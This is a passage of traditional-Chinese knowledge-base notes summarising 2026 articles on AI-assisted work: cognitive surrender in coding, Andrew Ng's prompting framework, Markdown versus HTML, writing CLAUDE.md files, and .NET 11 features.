### 核心論證鏈
1. **行動的癱瘓 (Analysis Paralysis)**: 當市面上有 2600 個 Claude skill 時，選擇本身就成了一種巨大的心智消耗。作者精準捕捉到，我們花了太多時間在「配置工具」與「糾結框架」，而忽略了「將產品推向市場」這個唯一能產生價值的動作。
2. **工具的收斂**: 工具的意義不在於數量，而在於指向性。將商學院框架、精益創業方法論收斂到一組連續的 Skill 中，能強迫創業者照著能賺錢的路徑走，消滅「我不知道下一步該做什麼」的猶豫。
### 關鍵證據
- 作者以自身經驗背書：使用這套系統，將一個 Side Project 從 Idea 驗證、落地頁上線到支付整合，縮短到了 3 天（過去至少需要 2 週）。
### 邊界條件
- **人類的執行力**: 即使 AI 給出了完美的 SEO 策略或冷郵件名單（如 `/money-outreach`），最終按下發送鍵、去面對潛在客戶拒絕的，依然是人類。如果創業者卡在心理恐懼（不敢銷售），再強的自動化系統也無法憑空變出錢來。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應《How to Build & Sell AI Automations》中的理念：「客戶買的不是 AI，是時間與利潤」。身為開發者，我們對自己也要有同樣的冷酷要求：不要沉迷於寫出優雅的程式碼，要專注於寫出能變現的產品。
- **深層洞見**: **"如果「学习」本身能变成钱，卖课的早就是商业导师了... 所有的输入，一个输出。钱。"** 這是對知識焦慮時代最狠的一記耳光。我們瘋狂地標記 (Bookmark)，是因為我們誤把「收集資訊」當成了「採取行動」。只有強制的「收斂」，才能逼我們面對市場的真實回饋。
- **行動呼籲**:
立刻清理你的瀏覽器書籤與推特收藏夾。挑出 3 個你覺得最有價值的行銷或建站策略，提煉成純文字的 prompt，寫進你的 `skill.md` 裡。然後，停止看任何新的教學文章，用這 3 個策略去推進你手上拖延最久的那個專案。
團隊文化
認知投降 (Cognitive Surrender)：AI 是在幫你思考，還是代替你思考？
"使用 AI 寫 Code 就像貸款，如果你用 AI 是為了激發思考，你獲得的是槓桿；如果你用 AI 只是為了跳過思考，你累積的就是「理解債」。軟體工程師極易陷入認知投降，因為 AI 生成的 Code 「表面上」會編譯成功、格式完美，這給了你一種虛假的信心。要抵抗這種投降，你必須在看 AI 答案前先在腦中給出預期；必須把 AI 當作團隊裡的初級工程師來審視；必須強制進行小批量 (Small PR) 審查。我們需要的是與 AI「共同放大 (Mutual amplification)」，而不是把大腦外包給它。"
---
tags: [團隊文化, 系統工程]
date: 2026-05-07
source: "20260512_2026-05-12T093223+0800-Cognitive Surrender.md"
---
# 認知投降 (Cognitive Surrender)：AI 是在幫你思考，還是代替你思考？
原始來源與檔名：20260512_2026-05-12T093223+0800-Cognitive Surrender.md
來源：[[@addyosmani]] / X — 2026-05-07
原始檔名：`2026-05-12T093223+0800-Cognitive Surrender.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Cognitive Offloading = Delegate to AI + Own the evaluation. (Superpower)
> Cognitive Surrender = Delegate to AI + Accept output blindly. (Comprehension Debt)
> Danger: Surface correctness masks systemic rot.
_「認知卸載」是指你把計算交給 AI，但你心裡知道對錯的標準；「認知投降」則是 AI 給了答案，你就默默接受了，你甚至沒有建立自己的判斷標準。作者 Addy Osmani 警告軟體工程師，我們每天都在不知不覺中跨越這條界線。當你審查 AI 生成的 600 行程式碼，只因為測試通過就按下 Merge；當你把 Error Log 貼給 AI，把解法貼回程式碼，Bug 消失了但你根本沒搞懂原因——這就是認知投降。它正在累積可怕的「理解債 (Comprehension Debt)」，總有一天系統崩潰時，團隊裡將沒有任何人能從第一性原理重構它。_
### 一句話
> 使用 AI 寫 Code 就像貸款，如果你用 AI 是為了激發思考，你獲得的是槓桿；如果你用 AI 只是為了跳過思考，你累積的就是「理解債」。軟體工程師極易陷入認知投降，因為 AI 生成的 Code 「表面上」會編譯成功、格式完美，這給了你一種虛假的信心。要抵抗這種投降，你必須在看 AI 答案前先在腦中給出預期；必須把 AI 當作團隊裡的初級工程師來審視；必須強制進行小批量 (Small PR) 審查。我們需要的是與 AI「共同放大 (Mutual amplification)」，而不是把大腦外包給它。
### 餐巾紙草圖
```text
[ The Path of Comprehension Debt ]
Incident: Unfamiliar Error Log
|
Option A (Offloading):
- Ask AI to explain the stack trace.
- Read docs, understand root cause.
- Build independent view -> Fix bug -> Mental Model Grows.
Option B (Surrender):
- Paste trace to AI -> Copy fix block -> Tests turn green.
- Move on.
- Debt accumulated -> System complexity grows > Human understanding.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定義界線**:
- **Cognitive Offloading (認知卸載)**: 如使用計算機、GPS。你交出過程，但保留判斷結果合理性的權利。
- **Cognitive Surrender (認知投降)**: 你完全沒有獨立觀點，AI 充滿自信的答案直接變成了你的答案。
- **在軟體工程中的表現**:
- **看 Diff**: 掃一眼 600 行綠色的 Code 就合併，錯過邊界條件的隱患。
- **修 Bug**: 貼入 Log、拿到解法、貼回 Code，治標不治本，腦中的系統模型徹底壞死。
- **做架構決策**: 讓 AI 選了某個方案並附上理由，你就信了，根本沒思考吞吐量與失敗模式。
- **理解債 (Comprehension Debt)**:
- 認知投降累積的利息就是理解債。程式碼基底越來越龐大，但真正被人類理解的部分越來越少。
- 表面的正確性 (編譯通過、Lint 通過) 掩蓋了系統性的腐壞。
- **抵抗投降的策略**:
- **先建構預期**: 看 AI 答案前，先在腦中想好答案該長怎樣。
- **把 AI 當菜鳥**: 用審查初級工程師的標準來審查 AI。
- **讓模型自我辯論**: 叫 AI 提出反對自己的論點，打破它虛假的自信。
- **硬性退出條件**: 不接受「看起來可以」，必須要有明確的測試證據。
- **控制 PR 大小**: 50 行的 PR 人類看得懂，600 行的注定只會迎來投降。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **借來的自信 (Borrowed Confidence)**: 賓州大學華頓商學院的實驗指出，只要有 AI 在場，人類的自信心就會提高，即使 AI 提供的是錯誤答案，參與者也有 73% 的機率盲目接受。因為 LLM 的語氣永遠是確定且具權威感的，人類在疲勞或遇到困難領域時，極易將這種自信「據為己有」。
2. **表面正確性是毒藥**: 大多數行業的 AI 輸出沒有絕對的「編譯器」來把關。但在軟體工程中，只要 Code 能跑、能過 CI/CD，工程師的心理防線就會鬆懈。這種短期的 KPI 驅動，正是催生「理解債」的溫床。
### 關鍵證據
- Anthropic 的實驗數據：在學習新函式庫時，使用 AI 生成程式碼的工程師，在後續理解測驗中的分數比對照組低了 17%。但如果工程師只是用 AI 來「探討概念」，理解力反而維持住。這證明了「生成 (Generation)」與「探究 (Inquiry)」兩種使用姿態會帶來截然不同的認知結果。
### 邊界條件
- **生產力壓力下的現實**: 在嚴苛的 Sprint 期限前，要求工程師對每一段 AI 程式碼進行靈魂拷問是不現實的。「認知投降」有時是一種理性的經濟決策（用長期的系統風險換取短期的交付速度），關鍵在於團隊必須「有意識地」記錄這些投降，而非假裝自己懂了。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對照了《AI 编程的底层原则》中 Matt Pocock 的觀點：「壞程式碼在 AI 時代更貴，因為 AI 會放大混亂」。認知投降就是讓 AI 肆意修改深層架構，最終導致系統熵值爆炸的根源。
- **深層洞見**: **"Surrender is invisible to the dashboard." (認知投降在儀表板上是隱形的。)** 這是管理者的噩夢。你的團隊速度飛快，PR 合併數量創新高，所有的 OKR 都是綠燈。但實際上，你的團隊大腦已經空洞化。當下一個 P0 級系統崩潰發生時，沒有人能修復它，因為整套系統是上萬次「認知投降」拼湊出來的黑盒。
- **行動呼籲**:
今天下班前，寫一段小程式碼，不要打開 Copilot，不要打開 Cursor，也不要問 Claude。
如果你發現自己連最基本的 API 呼叫都寫不出來、感到焦慮，那麼你已經越過了認知卸載的界線，陷入了認知投降。請在下次要求 AI 寫 Code 之前，強制先讓 AI「解釋」這項技術的核心概念。
實戰教學
實戰指南：吳恩達 2026 年的 5 個核心提示詞能力 (Andrew Ng's 2026 Prompting Skills)
"別再相信什麼「一行字改變命運」的萬能提示詞了。現在的 AI 就是一個能力很強但對你一無所知的實習生。你要做的是：清楚告訴它去哪裡找資料（搜索還是自身知識）、塞給它所有的背景文件（上下文）、要求它按步驟列出決策變數（強制推理），以及最重要的——命令它不准順著你的話說，必須從投資人或競品的角度挑出三個致命弱點（反駁機制）。"
---
tags: [實戰教學, 思維模型]
date: 2026-05-03
source: "20260512_2026-05-05T094154+0800-吴恩达2026年免费新课：普通人学AI提示词，这5个能力直接照着练.md"
---
# 實戰指南：吳恩達 2026 年的 5 個核心提示詞能力 (Andrew Ng's 2026 Prompting Skills)
原始來源與檔名：20260512_2026-05-05T094154+0800-吴恩达2026年免费新课：普通人学AI提示词，这5个能力直接照着练.md
來源：[[@zhongying14]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094154+0800-吴恩达2026年免费新课：普通人学AI提示词，这5个能力直接照着练.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Prompt 2026 = Info Source Routing + Dense Context (7 elements) + Forced Reasoning Steps + Anti-Sycophancy + Multimodal Inputs.
> Old Way = Magic words / Templates.
> New Way = Handing off a complete, explicit task definition.
_這是一篇高度濃縮了吳恩達 2026 年新課《AI Prompting for Everyone》實操精華的筆記。2026 年學 Prompt 已經不再是背誦「萬能模板」或「魔法指令」，而是學習如何把一個真實任務完整地移交給 AI。文章總結了 5 個可以直接照著練的核心能力：判斷資訊來源（常識 vs 搜索 vs 深度研究）、給足 7 元素上下文、強迫 AI 慢下來推理、設定反駁機制防拍馬屁，以及將圖片/表格作為真實任務素材。_
### 一句話
> 別再相信什麼「一行字改變命運」的萬能提示詞了。現在的 AI 就是一個能力很強但對你一無所知的實習生。你要做的是：清楚告訴它去哪裡找資料（搜索還是自身知識）、塞給它所有的背景文件（上下文）、要求它按步驟列出決策變數（強制推理），以及最重要的——命令它不准順著你的話說，必須從投資人或競品的角度挑出三個致命弱點（反駁機制）。
### 餐巾紙草圖
```text
[ The 2026 Universal Prompt Framework ]
1. Background: Who am I?
2. Task: What do I want?
3. Source: Which tool to use? (Deep Research/Search/Pretrained)
4. Context: Constraints & Preferences.
5. Format: Output type.
6. Critique: "Do NOT agree with me. Point out 3 fatal flaws."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **能力 1：判斷資訊來源 (Routing)**:
- 穩定知識：直接問。
- 最新事實：要求開啟網路搜索。
- 複雜判斷：啟用 Deep Research 模式。
- **能力 2：給足上下文 (Context Density)**:
- 弱 Prompt：幫我寫條推文。
- 強 Prompt：包含「我是誰、做什麼、給誰看、用在哪、已有素材、避開什麼、輸出格式」7 大元素。
- **能力 3：重要問題強制推理 (Slow Thinking)**:
- 不要直接問「你覺得怎麼選」。要求 AI 先列變數，再補缺口，給出三個極端方案，最後才給建議與前提。
- **能力 4：主動建立反駁機制 (Anti-Sycophancy)**:
- AI 天然會討好人類（Sycophancy）。必須在 Prompt 中強制要求它從特定角色（如投資人、競爭對手）的角度提出批評與致命弱點。
- **能力 5：多模態輸入 (Multimodal Context)**:
- 文字只是入口，截圖、報表、手繪草圖、參考代碼才是 2026 年真正的 Context。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **資訊的邊界**: 過去我們認為 AI 給的答案很虛，是因為我們沒有替它選擇正確的「取水點」。讓一個沒聯網的模型回答 2026 年的最新政策，它只能產生幻覺；讓一個普通搜索模型做行業研究，它只能給出淺層維基百科總結。精準的 Routing 是確保答案品質的第一步。
2. **反奉承 (Anti-Sycophancy) 的必要性**: 模型基於 RLHF (人類反饋強化學習) 訓練，人類潛意識喜歡被誇獎，導致模型成為了「超級馬屁精」。如果不主動設定「反駁機制」，你用 AI 驗證商業點子就是在浪費時間，因為它永遠會告訴你「這個點子太棒了」。
### 關鍵證據
- 文章提供了一個實用的萬能框架模板（背景、任務、信息源、上下文、格式、反駁），這個模板完美體現了從「下指令」到「移交專案」的思維轉變。
### 邊界條件
- **簡單任務的摩擦力**: 如果你只是想請 AI 幫你把一段文字從繁體翻譯成簡體，或寫一段簡單的正則表達式，套用這 6 步框架會顯得很冗長且浪費 Token。這些高階技巧主要針對「決策型」與「長篇創作型」任務。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇關於吳恩達課程的分析（《從聊天機器人到推理引擎》）。那篇偏向心法與趨勢（如 Desktop App 的崛起），這篇則給出了具體可以複製貼上的 Prompt 實作框架。
- **深層洞見**: **"真正有用的 AI，不是帮你把话说顺，而是帮你找到自己没看到的盲区。"** 人類使用工具的慣性是「省力」，所以我們希望 AI 幫我們寫字。但 AI 真正的超級價值在於「擴增智力 (Intelligence Augmentation)」。當它能無情地指出你商業計畫書裡的財務漏洞時，它才從一個「打字員」升級為「合夥人」。
- **行動呼籲**:
將文章最後的「萬能框架」存入你的文字替換軟體 (如 TextExpander 或 Raycast Snippets) 中。下次遇到需要深思熟慮的問題時，直接呼叫這個模板，強迫自己把這 6 個欄位填滿再按下發送。
工作流
Markdown vs HTML：AI 時代的生產與消費解耦 (The Markdown vs HTML Debate is a Stupid Question)
"針對 Claude Code 團隊引發的「HTML 是新的 Markdown」論戰，作者提出了極具洞見的解構：這是一場源於「視角單一」的偽命題。當人們同時身為生產者與消費者時，才需要折衷。在 AI 時代，人類用 Markdown 提供純粹的邏輯與文本上下文給 AI，由 AI 承擔繁重的 HTML 開發成本，最終產出具備強大空間與互動表現力的 HTML 供人類消費。作者並開源了 工具來實踐這種無縫切換的工作流。"
---
tags: [工作流, 知識管理, AI實踐, 認知框架]
date: 2026-05-09
source: "20260512_2026-05-12T093130+0800-Markdown还是HTML？这是个蠢问题！.md"
---
# Markdown vs HTML：AI 時代的生產與消費解耦 (The Markdown vs HTML Debate is a Stupid Question)
原始來源與檔名：20260512_2026-05-12T093130+0800-Markdown还是HTML？这是个蠢问题！.md
來源：[[@AlchainHust]] / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T093130+0800-Markdown还是HTML？这是个蠢问题！.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Pre-AI Era: Producer = Consumer -> Format compromise (Markdown won because it balances writing speed & readability)
> AI Era: AI absorbs production cost -> Format decoupling
> Production = Markdown (Fast, token-efficient, diffable source code)
> Consumption = HTML (Rich, interactive, dynamic UI)
_網路上正在爭吵 AI 時代的標準格式是 Markdown 還是 HTML。這是一個蠢問題，因為它們解決的是不同的需求。在 AI 吸納了「排版與渲染」的生產成本後，我們不再需要尋找「既好寫又好看」的折衷方案。生產端徹底倒向 Markdown（省 Token、好比對、純邏輯）；消費端徹底倒向 HTML（豐富的視覺、互動與空間結構）。這不是誰取代誰，而是完美的分工。_
### 一句話
> 針對 Claude Code 團隊引發的「HTML 是新的 Markdown」論戰，作者提出了極具洞見的解構：這是一場源於「視角單一」的偽命題。當人們同時身為生產者與消費者時，才需要折衷。在 AI 時代，人類用 Markdown 提供純粹的邏輯與文本上下文給 AI，由 AI 承擔繁重的 HTML 開發成本，最終產出具備強大空間與互動表現力的 HTML 供人類消費。作者並開源了 `huashu-md-html` 工具來實踐這種無縫切換的工作流。
### 餐巾紙草圖
```text
[The Decoupling of Formats in the AI Era]
[ Production Phase ] (Focus: Logic, Speed, Token-efficiency)
Human writes `.md` ---> AI consumes `.md` (10x cheaper in context)
|
v
[ AI Transformation Engine ] (AI absorbs the formatting labor)
|
v
[ Consumption Phase ] (Focus: Spatial understanding, Interactivity)
AI outputs `.html` ---> Human views dynamic dashboards / interactive pages.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **起因**: Claude Code 團隊的 Thariq 發表爆文《HTML 是新的 Markdown》，引發兩派爭論。
- **Markdown 黨的理據**: Markdown 是 AI 時代的源代碼。`AGENTS.md` 成為行業標準；Karpathy 的 `llm-wiki` 核心是 `.md`；Markdown 比 HTML 節省 80% 的 Token，能大幅提升 LLM 的上下文利用率。
- **HTML 黨的理據**: HTML 能提供空間訊息（如左右對照的 diff）、動態體驗（按鈕動畫）、結構化閱讀（可摺疊章節）。它讓人類在與 AI 協作時更有「在場感」。
- **破局點 (The Real Question)**: 兩邊都對了一半。爭論的根源在於假設「生產者與消費者是同一個人」。
- **AI 帶來的範式轉移**: AI 吸納了生產 HTML 的繁重成本。我們不再需要折衷。寫的時候用 Markdown（追求極致輕量）；看的時候用 HTML（追求極致表現力）。
- **工具實踐**: 作者開發了 `huashu-md-html`，一個能將 20 多種格式轉為 Markdown，並能將 Markdown 渲染為 4 套專業 CSS 主題 HTML 的閉環工具。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **歷史上的格式折衷**: 在沒有 AI 以前，手寫 HTML 太痛苦，純文字又太醜，所以 Markdown 勝出，因為它是最好的「折衷」。
2. **生產成本被 AI 抹平**: 當 AI 可以瞬間將 Markdown 轉化為帶有 Tailwind 或自訂 CSS 的漂亮 HTML 時，手寫 HTML 的「痛苦」消失了。這意味著我們可以在生產端（輸入給 AI）極致追求 Token 效率，在消費端（人類閱讀）極致追求視覺表現。
3. **活體證據 (Living Proof)**: 作者點出 Thariq 本人就是最好的例子。他一邊推廣用 Markdown 寫 Skill，一邊推廣用 HTML 看輸出結果。Karpathy 的 `llm-wiki` (底層 MD) 加上 Lex Fridman 的互動外殼 (表層 HTML) 也是同一個邏輯。這證明了「分工」早已在頂尖開發者的日常中發生。
### 關鍵證據
- Cloudflare 的實測數據：同一篇部落格，HTML 需要 16180 tokens，轉成 Markdown 只要 3150 tokens。在 Context Window 依然昂貴的今天，這 5 倍的差距就是巨大的成本與效能優勢。
### 邊界條件
- 這種工作流高度依賴「渲染引擎的可靠性」。如果 AI 在將 Markdown 轉為 HTML 時經常產生樣式崩潰（AI slop），那麼這種分工就會帶來巨大的修改成本。作者透過預設的 4 套手工 CSS 主題（而非讓 AI 自由發揮）來鎖死下限，解決了這個問題。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Contextmaxxing > Tokenmaxxing》中對 Token 效率的追求。用 Markdown 餵給 AI，就是一種 Contextmaxxing（用最少的 Token 傳遞最大的資訊密度）。同時也呼應了《Your Obsidian Vault Can Now Write Back to Itself》：底層知識庫必須是 `.md`，但產出的 Dashbaord 可以是富文本或網頁。
- **深層洞見**: **"两端各自登顶。中间那个折中位置，没人需要了。" (Both extremes reach the summit. The middle compromise is no longer needed.)** 這是 AI 對所有軟體介面最深刻的衝擊。當 AI 可以作為完美的「編譯器」時，我們不再需要為了「易用性」而犧牲「專業度」，也不用為了「底層邏輯」而犧牲「視覺表現」。
- **行動呼籲**:
停止在與 AI 的對話中爭論該輸出什麼格式。
- 當你需要 AI **讀取**你的專案時，給它 Markdown。
- 當你需要 AI **展示**資料關係、流程圖或 UI 原型時，直接命令它："Generate an interactive HTML file using Tailwind CSS for me to preview."
工作流
讓產出 10 倍速的 CLAUDE.md 撰寫指南 (The Perfect CLAUDE.md Setup)
"這是一篇極具實操性的 Claude Code 配置文件撰寫指南。文章指出 失敗的三大原因：太長（超過模型 Context 承載力）、寫錯內容（塞滿 AI 自己懂的個性化廢話）、沒有分層。一份能真正 10 倍提升效率的 應該低於 80 行，只包含五件事：編譯與測試命令、簡單的架構地圖、那些 Claude 沒有它就會犯錯的「硬規則」、工作流偏好，以及明確指出「不要動什麼」。"
---
tags: [工作流, 軟體工程, 最佳實踐]
date: 2026-04-27
source: "20260512_2026-04-28T092523+0800-The CLAUDE.md File That 10x'd My Output (Full File Included).md"
---
# 讓產出 10 倍速的 CLAUDE.md 撰寫指南 (The Perfect CLAUDE.md Setup)
原始來源與檔名：20260512_2026-04-28T092523+0800-The CLAUDE.md File That 10x'd My Output (Full File Included).md
來源：[[@zodchiii]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092523+0800-The CLAUDE.md File That 10x'd My Output (Full File Included).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad CLAUDE.md = Personality traits + Vague advice + >200 lines (Gets ignored)
> Good CLAUDE.md = Commands + Arch Map + Hard Rules + Workflow < 80 lines
> Efficiency = Stop telling Claude to "be smart", start telling it exactly how to `npm run build` and `NEVER commit .env`.
_很多人把 `CLAUDE.md` 當作許願池，寫滿了「你是一個資深工程師」等廢話，導致 Claude 忽略了真正重要的指令。作者解析了高品質 `CLAUDE.md` 的五大核心區塊（指令、架構、硬性規則、工作流、範圍外），並強調必須善用 Global/Project/Local 三層架構與 Auto Memory，將這個文件視為技術規格書，而非心理勵志書。_
### 一句話
> 這是一篇極具實操性的 Claude Code 配置文件撰寫指南。文章指出 `CLAUDE.md` 失敗的三大原因：太長（超過模型 Context 承載力）、寫錯內容（塞滿 AI 自己懂的個性化廢話）、沒有分層。一份能真正 10 倍提升效率的 `CLAUDE.md` 應該低於 80 行，只包含五件事：編譯與測試命令、簡單的架構地圖、那些 Claude 沒有它就會犯錯的「硬規則」、工作流偏好，以及明確指出「不要動什麼」。
### 餐巾紙草圖
```text
[The CLAUDE.md Hierarchy]
~/.claude/CLAUDE.md -> Global (Rules for all your projects)
.claude/CLAUDE.md -> Project (Team shared, git committed)
./CLAUDE.local.md -> Local (Your personal overrides)
[The 5 Essential Sections (Keep under 80 lines)]
1. Commands: Explicitly list dev/test/build/lint commands.
2. Architecture: "src/api -> endpoints, src/components -> UI"
3. Rules: "IMPORTANT: run type check after every change"
4. Workflow: "Make minimal changes, separate commits"
5. Out of scope: "Do not edit X files"
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **失敗原因**:
- **太長**: 模型只能穩定遵循 150-200 條指令，如果你的文件超過 200 行，後面的必定被忽略。
- **無效內容**: 寫「你是一個資深工程師」或「一步步思考」純屬浪費，應該寫能阻止具體錯誤的指令。
- **沒有層級**: 全都塞在同一個文件。應該分為 Global (通用)、Project (專案專屬)、Local (個人習慣)。
- **必須包含的五大區塊**:
1. **關鍵命令 (Commands)**: 告訴 Claude 如何 build, dev, test, lint。不要讓它猜。
2. **架構地圖 (Architecture map)**: 簡單說明哪個目錄放什麼代碼。
3. **硬性規則 (Hard rules)**: 那些如果拿掉，Claude 就會做錯的事（例如：不要提交 .env，只能用 function components）。使用 `IMPORTANT` 前綴會提高遵循率。
4. **工作流偏好 (Workflow preferences)**: 限制它的行為模式（例如：做最小修改、每次修改後跑測試、不確定的時候先問）。
5. **不要包含什麼 (What NOT to include)**: 不要放自動排版規則（交給 linter）、不要放廢話。Claude 會自己建立 `memory`，不要把它已經學會的東西寫進 `CLAUDE.md`。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **指令經濟學 (Instruction Economics)**: System Prompt 的容量是有限的（Claude Code 內建約 50 條）。每一個廢話指令都在擠壓關鍵規則的生存空間。「你是一個頂級程序員」會把「每次修改後必須跑類型檢查」給擠出注意力視窗。
2. **預防性工程 (Preventative Engineering)**: `CLAUDE.md` 的本質不是「教它怎麼寫程式」，而是「阻止它犯這個專案特有的錯誤」。因此，每一條規則的測試標準是：**如果刪掉這行，Claude 會搞砸嗎？** 如果不會，這行就是垃圾。
3. **動態記憶系統 (Auto Memory)**: 很多人忽略了 Agent 的學習能力。Claude 有獨立的記憶模塊，會自己記錄下專案的特性。將靜態規則與動態記憶分開，是保持上下文純淨的關鍵。
### 關鍵證據
- 實戰最有影響力的 5 條規則：
1. `IMPORTANT: run type check after every code change` (防止引入 Type 錯誤)
2. `Make minimal changes, don't refactor unrelated code` (防止它一言不合重構全檔)
3. `Create separate commits per logical change` (防止幾千行的怪物 Commit)
4. `When unsure, explain both approaches and let me choose` (防止它擅作主張改架構)
5. `Static export only, no SSR` (防止技術棧混淆)
### 邊界條件
- 隨著專案增長，`CLAUDE.md` 容易不自覺地變長。必須定期進行「除草」，把那些 Claude 已經透過記憶系統學會的常規模式從文件中刪除，始終保持在 80 行以內。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Harness 不是目的，知识才是护城河》中提到的「漸進式披露 (Progressive Disclosure)」。`CLAUDE.md` 就是 L1 的元數據，必須保持極度精簡，更複雜的知識應該透過技能 (Skills) 動態引入。
- **深層洞見**: **"People treat CLAUDE.md like a wish list. Your CLAUDE.md should be a technical brief, not a motivational speech."** 這是一個深刻的隱喻轉變：別把 AI 當作神燈精靈（許願），把它當作一個新進的打工人（給規格書）。
- **行動呼籲**:
立刻打開你專案的 `CLAUDE.md` 或 AI 提示詞設定檔：
1. 刪除所有關於「你是誰」的性格設定。
2. 加入 `Commands` 區塊，明確寫上你平常在終端機打的測試與編譯指令。
3. 加入那一條拯救生命的咒語：`Make minimal changes, don't refactor unrelated code.`
後端開發
.NET 11：不求炫技，只求極致的效能與 AI 原生化
".NET 11 就像是幫你的車子換上了更好的引擎機油，外表看起來沒變，但跑起來就是更快、更順。它在底層加入了 Zstandard 壓縮、讓 C# 支援了更優雅的 Union Types，並且把 AI (Semantic Kernel) 當成原生公民對待。如果你需要極致的 API 速度或是要開發 AI Agent，升級就對了；如果你只是想要系統安穩地跑上幾年不重構，那就留在 .NET 10 LTS。"
---
tags: [後端開發, 系統工程]
date: 2026-04-28
source: "20260512_2026-05-06T095739+0800-.NET 11 vs .NET 10 — Faster, Smarter, and Quietly Powerful.md"
---
# .NET 11：不求炫技，只求極致的效能與 AI 原生化
原始來源與檔名：20260512_2026-05-06T095739+0800-.NET 11 vs .NET 10 — Faster, Smarter, and Quietly Powerful.md
來源：[[Umair Rasheed]] / Medium — 2026-04-28
原始檔名：`2026-05-06T095739+0800-.NET 11 vs .NET 10 — Faster, Smarter, and Quietly Powerful.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> .NET 11 = .NET 10 (Stability) + JIT Optimizations + Zstandard Compression + C# Unions + Semantic Kernel Integration.
> Upgrade Logic: For LTS (Long-term Support) -> Stay on .NET 10. For Edge Performance & Native AI -> Move to .NET 11.
_微軟即將推出的 .NET 11 放棄了炒作與大型架構重寫，轉而專注於「深度優化」。它將 Zstandard 壓縮、改良的正則表達式、以及更聰明的 JIT 引擎直接融入底層。在語言層面，C# 帶來了原生的聯集 (Unions) 型別，大幅減少業務邏輯的樣板代碼。而在架構層面上，AI 不再是個「外掛套件」，Semantic Kernel 被更深層次地整合進基礎設施中。.NET 11 是一次「安靜卻強大」的進化，確保你不用改寫代碼，效能就能直接起飛。_
### 一句話
> .NET 11 就像是幫你的車子換上了更好的引擎機油，外表看起來沒變，但跑起來就是更快、更順。它在底層加入了 Zstandard 壓縮、讓 C# 支援了更優雅的 Union Types，並且把 AI (Semantic Kernel) 當成原生公民對待。如果你需要極致的 API 速度或是要開發 AI Agent，升級就對了；如果你只是想要系統安穩地跑上幾年不重構，那就留在 .NET 10 LTS。
### 餐巾紙草圖
```text
[ .NET Evolution Path ]
.NET 10 (LTS):
The stable foundation.
.NET 11 (Current): "Quietly Powerful"
├─ Core Perf: Zstandard, JIT optimisations, HTTP/3 speedup.
├─ C# Features: Union types (Success | Failure), less boilerplate.
├─ Developer EX: CLI env vars (dotnet run -e), smart hot reload.
├─ Data: EF Core smarter SQL generation (fewer joins).
└─ AI Native: Semantic Kernel deeply integrated, not bolted-on.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定位**: .NET 11 不是革命，而是「改良的演進」。重點在於更快、更乾淨、更聰明、且「AI-ready」。
- **Library & Runtime 升級**:
- `System.Text.Json` 命名原則改良。
- 內建 Zstandard (Zstd) 壓縮演算法。
- Regex 支援完整的 Unicode 換行符號。
- JIT (即時編譯器) 針對 `switch`、轉型與邊界檢查進行了最佳化。
- **C# 語言亮點 (Union Types)**:
- 終於迎來了 `public union PaymentResult { Success(decimal Amount); Failure(string Error); }`，完美解決以往處理結果與錯誤需要大量樣板代碼的問題，配合 Pattern Matching 讓邏輯更清晰。
- **ASP.NET Core & EF Core**:
- 更快的 HTTP/3 處理速度與 UI 虛擬化。
- EF Core 擁有更聰明的 SQL 生成（減少無謂的 JOIN）、改良的變更追蹤 (Change Tracking) API。
- **AI 整合 (Semantic Kernel)**:
- AI 工作流與 LLM 整合不再只是 Add-on（附加元件），而是漸漸成為 .NET 生態系的「原生 (Native)」核心基礎設施。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **升級即提速 (Free Performance)**: 微軟的戰略一直非常明確——透過底層 JIT 編譯器的優化與底層函式庫（如內建 Zstandard）的替換，讓開發者「不改一行程式碼，更新框架後直接獲得效能提升」。
2. **C# 逐漸函數式化**: 引入 Union Types 是 C# 向 F# (Functional Programming) 靠攏的重要一步。配合已經成熟的 `switch` 表達式與 Pattern Matching，.NET 開發者在處理 Domain-Driven Design (DDD) 的領域模型時，將不再需要手寫複雜的 Result 類別。
### 關鍵證據
- 文章對比了 `.NET 10 (LTS)` 與 `.NET 11 (STS - Standard Term Support)`。明確點出 LTS 適合企業級求穩的長期支援，而 .NET 11 是為了那些在雲原生、高效能 API 以及迫切需要整合最新 AI 功能的團隊所準備的。
### 邊界條件
- **何時不該升級**: 如果你的專案是已經上線運行的傳統企業後台，且沒有極端的效能瓶頸或迫切的 AI 需求，停留在獲得長期支援的 .NET 10 LTS 是最負責的架構決策。盲目追新可能導致三方套件的相容性問題。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這篇文章點出了微軟在基礎設施上的野心：將 AI (Semantic Kernel) 變為如同 Entity Framework 或 ASP.NET 一樣的「基礎元件」。這呼應了我們先前討論的「Agentic 框架必須標準化」，微軟正試圖在語言和框架層面提供統一的 AI 開發介面。
